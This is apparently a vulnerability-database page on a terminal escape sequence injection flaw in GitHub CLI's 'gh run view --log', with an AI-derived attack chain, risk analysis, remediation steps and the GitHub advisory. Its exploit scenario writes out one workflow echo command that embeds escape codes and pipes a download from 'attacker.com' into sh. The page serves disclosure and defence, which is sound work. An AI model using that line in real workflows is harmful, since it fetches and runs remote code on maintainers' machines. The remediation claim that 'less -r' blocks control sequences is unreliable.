Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCreate malicious PR
-
DeliveryTrigger Actions workflow
-
ExploitEmbed escape sequences in logs
-
ExecutionVictim runs gh run view --log
-
PersistTerminal interprets sequences
-
ImpactExecute commands or manipulate display
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Escape character neutralization
|
| Exploitation Conditions | Attacker must possess authenticated GitHub account with pull request creation rights to target repository (public repos accept external PRs, private repos require collaborator access). Exploitation requires victim to execute 'gh run view --log' or 'gh run view --log-failed' commands against a workflow run containing attacker-controlled log output. The victim's terminal emulator must interpret injected escape sequences - modern hardened terminals limit impact to cosmetic changes, while GNU screen, tmux with passthrough enabled, or legacy xterm configurations with allowWindowOps permit command execution. Attack succeeds against default GitHub CLI configurations in versions 1.6.0-2.91.x without requiring non-standard settings. Limiting factors: victim must manually inspect logs (no automatic trigger), attacker cannot force which runs victim examines, and many modern terminals (iTerm2 post-2016, GNOME Terminal 3.x+, Windows Terminal) block command execution sequences by default, reducing impact to window title/content manipulation only. |
| Impact | The CVSS vector AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N yields a base score of 3.5, indicating network-exploitable but requiring authenticated attacker (PR:L suggests repository contributor access) and victim interaction (UI:R - user must actively view logs). Real-world risk assessment reveals significant nuance: attack complexity is genuinely low once attacker has PR creation rights, as workflow log injection is trivial via echo commands in .github/workflows files. However, the integrity impact (I:L) substantially understates potential consequences in environments using vulnerable terminal emulators. Modern terminals like iTerm2, GNOME Terminal, and Windows Terminal implement escape sequence filtering that limits impact to cosmetic changes (window titles, colors). Legacy multiplexers like GNU screen and older xterm configurations may permit command execution through DCS passthrough, elevating real risk for users of those platforms. No EPSS data provided, and absence from CISA KEV suggests no widespread exploitation campaigns. The requirement for victim to manually inspect logs creates a targeting bottleneck - attackers cannot force execution. GitHub's advisory (GHSA-crc3-h8v6-qh57) provides authoritative confirmation but no POC is referenced. Priority should be moderate for organizations using GitHub CLI in CI/CD pipelines or where developers routinely inspect Actions logs, elevated to high only for confirmed GNU screen users. Key uncertainty: distribution of vulnerable versus hardened terminal emulators in target environments directly determines exploitability gap between CVSS 3.5 theoretical score and practical impact. |
| Exploit ScenarioDerived | An external contributor forks a public repository and submits a pull request containing a malicious GitHub Actions workflow that executes 'echo -e "\033]0;Malicious Title\007\033[2J\033[H$(curl attacker.com/payload.sh|sh)"' in a workflow step. When the repository maintainer runs 'gh run view --log' to inspect the PR's CI results, their terminal interprets the embedded escape sequences: the OSC sequence changes their window title to 'Malicious Title', CSI codes clear the screen, and if using GNU screen the command substitution executes a remote payload script with the maintainer's shell privileges. The attacker gains code execution in the maintainer's development environment without requiring direct repository access. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 15, 2026
Terminal escape sequence injection in GitHub CLI 1.6.0 through 2.91.x allows authenticated attackers with pull request creation rights to inject malicious terminal control sequences into Actions workflow logs. When victims execute 'gh run view --log' or 'gh run view --log-failed' to inspect workflow runs, unsanitized escape sequences replay in their terminal, enabling window title manipulation, on-screen content alteration, or arbitrary command execution in vulnerable emulators like GNU screen. The attack requires low complexity and user interaction (victim must view logs), with impact limited to terminal integrity. CVSS score of 3.5 reflects low-severity integrity impact, though real-world risk varies significantly by terminal emulator capabilities. No active exploitation confirmed at time of analysis.
RemediationAI
Upgrade GitHub CLI to version 2.92.0 or later, which implements terminal escape sequence sanitization in log output handlers. Users can verify their version with 'gh version' and update via package managers (brew upgrade gh, apt upgrade gh-cli, choco upgrade gh) or direct download from https://github.com/cli/cli/releases/tag/v2.92.0. For environments unable to immediately upgrade, implement compensating controls: configure pager to strip ANSI sequences by setting 'export GH_PAGER="less -r"' which processes color codes but blocks control sequences, or redirect log output through 'gh run view --log | cat' to strip all escape sequences (eliminates color formatting but neutralizes injection). Restrict GitHub Actions workflow modification permissions to trusted contributors only, preventing malicious PR authors from injecting log content. Organizations using GNU screen or other legacy terminal multiplexers should prioritize patching due to elevated command execution risk. Review recent workflow logs for suspicious escape sequences using 'gh run view --log | od -c' to detect non-printable characters. The vendor advisory at https://github.com/cli/cli/security/advisories/GHSA-crc3-h8v6-qh57 confirms no side effects from the 2.92.0 patch beyond the intended sanitization behavior.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exploits CWE-150 (Improper Neutralization of Escape, Meta, or Control Sequences) in GitHub CLI's log streaming implementation. The affected commands pipe raw GitHub Actions log output directly to stdout or configured pagers without sanitizing ANSI escape sequences or terminal control characters. GitHub Actions workflows can embed arbitrary text in logs through echo statements, error messages, or tool output. Terminal emulators interpret escape sequences like CSI (Control Sequence Introducer) codes for cursor manipulation, OSC (Operating System Command) sequences for window title changes, and in legacy multiplexers like GNU screen, potentially DCS (Device Control String) sequences that can trigger command execution. The CPE identifier 'cpe:2.3:a:cli:cli:*:*:*:*:*:*:*:*' indicates the CLI product itself, with GitHub confirming the vulnerable code path exists in the run view log display functions from version 1.6.0 forward.
Know when Cli gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
1DescriptionGitHub Advisory
gh is GitHub’s official command line tool. From 1.6.0 to before 2.92.0, a security vulnerability has been identified in GitHub CLI that could allow terminal escape sequence injection when users view GitHub Actions workflow logs using gh run view --log or gh run view --log-failed. The vulnerability stems from the way GitHub CLI handles raw Actions log output. The gh run view --log and gh run view --log-failed commands stream workflow log lines to stdout or the configured pager without sanitizing terminal control sequences. An attacker who can influence GitHub Actions log content, for example via a PR triggered workflow, can embed escape sequences that are replayed in the user's terminal when they inspect the run. Depending on the victim's terminal emulator, injected sequences could change the window title, manipulate on screen content, or in some terminal emulators (such as screen) potentially execute arbitrary commands. This vulnerability is fixed in 2.92.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Snyk CLI before 1.996.0 allows arbitrary command execution, affecting Snyk IDE plugins and the snyk npm package. Rated h
The GitHub CLI version 2.6.1 and earlier are vulnerable to remote code execution through a malicious codespace SSH serve
Insecure file permissions in Quasar's development TLS certificate utility (@quasar/ssl-certificate before 2.1.0, shipped
Code injection in @tinacms/cli versions up to and including 2.7.0 lets a crafted Git branch name break out of the string
go-gh is a Go module for interacting with the `gh` utility and the GitHub API from the command line. Rated high severity
Symlink-following vulnerabilities in Capgo CLI before version 12.128.2 (npm @capgo/cli < 7.84.6) allow an attacker who c
Path traversal in Entire CLI 0.7.6 and earlier lets a collaborator who can push to the shared `entire/checkpoints/v1` br
Capgo CLI's Android onboarding flow silently grants the Google Play service account it generates the account-wide Play C
Command execution via URI injection in GitHub CLI's `gh codespace jupyter` subcommand (versions 2.10.0-2.95.0) allows an
The CLI in Cisco IOS XR allows remote authenticated users to obtain sensitive information via unspecified commands, aka
go-gh is a collection of Go modules to make authoring GitHub CLI extensions easier. Rated low severity (CVSS 2.6), this
EUVD-2026-30549
GHSA-crc3-h8v6-qh57
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB